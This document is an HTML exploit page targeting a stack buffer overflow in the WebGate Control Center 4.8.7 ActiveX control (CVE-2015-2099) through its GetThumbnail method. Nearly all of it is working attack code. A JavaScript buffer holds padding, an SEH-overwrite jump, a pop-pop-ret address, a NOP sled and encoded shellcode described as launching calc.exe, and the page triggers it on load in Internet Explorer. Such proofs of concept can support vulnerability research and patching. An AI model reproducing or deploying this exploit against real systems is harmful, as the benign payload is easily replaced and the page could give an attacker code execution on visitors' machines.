WebGate Control Center 4.8.7 – GetThumbnail Stack Overflow
<html> <!-- Author: Praveen Darshanam http://blog.disects.com/ http://darshanams.blogspot.com # Exploit Title: WebGate Control Center GetThumbnail Stack Overflow SEH Overwrite (0Day) # Date: 27th March, 2015 # Vendor Homepage: http://www.webgateinc.com/wgi/eng/ # Software Link: http://www.webgateinc.com/wgi/eng/index.php?svc_name=product&amCode=C029&asCode=C039&ec_idx1=P040&ptype=view&page=&p_idx=35 # Version: Control Center 4.8.7 # Tested on: Windows XP SP3 using IE/6/7/8 # CVE : 2015-2099 targetFile = "C:\WINDOWS\system32\WESPSDK\WESPPlayback.dll" prototype = "Sub GetThumbnail ( ByVal SiteSerialNumber As String , ByVal Channel As Integer , ByVal secTime As Long , ByVal miliTime As Integer )" progid = "WESPPLAYBACKLib.WESPPlaybackCtrl" --> <object classid='clsid:4E14C449-A61A-4BF7-8082-65A91298A6D8' id='getthumb'> </object> <script> var buff1 = ""; var arg2=1; var arg3=1; var arg4=1; var nops = ""; var buff2 = ""; for (i=0;i<24; i++) { buff1 += "B"; } // jump over seh to shellcode nseh = "\xeb\x08PD"; // pop pop ret var seh = "\xa0\xf2\x07\x10"; for (i=0;i<80; i++) { nops += "\x90"; } //calc.exe payload sc = "\x54\x5d\xda\xc9\xd9\x75\xf4\x59\x49\x49\x49\x49\x49" + "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30" + "\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30" + "\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42" + "\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a" + "\x49\x4b\x4c\x5a\x48\x4b\x32\x45\x50\x55\x50\x43\x30" + "\x53\x50\x4b\x39\x4d\x35\x30\x31\x4f\x30\x52\x44\x4c" + "\x4b\x56\x30\x46\x50\x4c\x4b\x31\x42\x34\x4c\x4c\x4b" + "\x31\x42\x44\x54\x4c\x4b\x32\x52\x47\x58\x54\x4f\x38" + "\x37\x50\x4a\x37\x56\x46\x51\x4b\x4f\x4e\x4c\x57\x4c" + "\x35\x31\x33\x4c\x33\x32\x46\x4c\x37\x50\x49\x51\x48" + "\x4f\x34\x4d\x45\x51\x4f\x37\x4d\x32\x4a\x52\x36\x32" + "\x46\x37\x4c\x4b\x36\x32\x32\x30\x4c\x4b\x30\x4a\x37" + "\x4c\x4c\x4b\x30\x4c\x32\x31\x54\x38\x5a\x43\x51\x58" + "\x33\x31\x4e\x31\x30\x51\x4c\x4b\x36\x39\x47\x50\x53" + "\x31\x48\x53\x4c\x4b\x30\x49\x35\x48\x5a\x43\x36\x5a" + "\x57\x39\x4c\x4b\x46\x54\x4c\x4b\x33\x31\x49\x46\x56" + "\x51\x4b\x4f\x4e\x4c\x49\x51\x38\x4f\x54\x4d\x35\x51" + "\x58\x47\x37\x48\x4d\x30\x34\x35\x4a\x56\x43\x33\x43" + "\x4d\x5a\x58\x37\x4b\x43\x4d\x46\x44\x43\x45\x4d\x34" + "\x56\x38\x4c\x4b\x56\x38\x31\x34\x43\x31\x4e\x33\x42" + "\x46\x4c\x4b\x44\x4c\x30\x4b\x4c\x4b\x36\x38\x45\x4c" + "\x45\x51\x4e\x33\x4c\x4b\x54\x44\x4c\x4b\x33\x31\x48" + "\x50\x4c\x49\x57\x34\x36\x44\x51\x34\x51\x4b\x51\x4b" + "\x33\x51\x30\x59\x50\x5a\x36\x31\x4b\x4f\x4b\x50\x31" + "\x4f\x51\x4f\x51\x4a\x4c\x4b\x42\x32\x5a\x4b\x4c\x4d" + "\x31\x4d\x53\x5a\x35\x51\x4c\x4d\x4c\x45\x58\x32\x43" + "\x30\x53\x30\x55\x50\x56\x30\x42\x48\x50\x31\x4c\x4b" + "\x42\x4f\x4d\x57\x4b\x4f\x59\x45\x4f\x4b\x5a\x50\x48" + "\x35\x4f\x52\x30\x56\x53\x58\x4e\x46\x5a\x35\x4f\x4d" + "\x4d\x4d\x4b\x4f\x38\x55\x47\x4c\x53\x36\x33\x4c\x45" + "\x5a\x4b\x30\x4b\x4b\x4b\x50\x43\x45\x43\x35\x4f\x4b" + "\x47\x37\x32\x33\x53\x42\x42\x4f\x42\x4a\x55\x50\x46" + "\x33\x4b\x4f\x49\x45\x43\x53\x53\x51\x52\x4c\x52\x43" + "\x36\x4e\x55\x35\x44\x38\x33\x55\x33\x30\x41\x41"; for (i=0;i<(5000-(buff1.length + nseh.length + seh.length + nops.length + sc.length)); i++) { buff2 += "A"; } fbuff = buff1 + nseh + seh + nops + sc + buff2; getthumb.GetThumbnail(fbuff ,arg2 ,arg3 ,arg4); </script> </html> |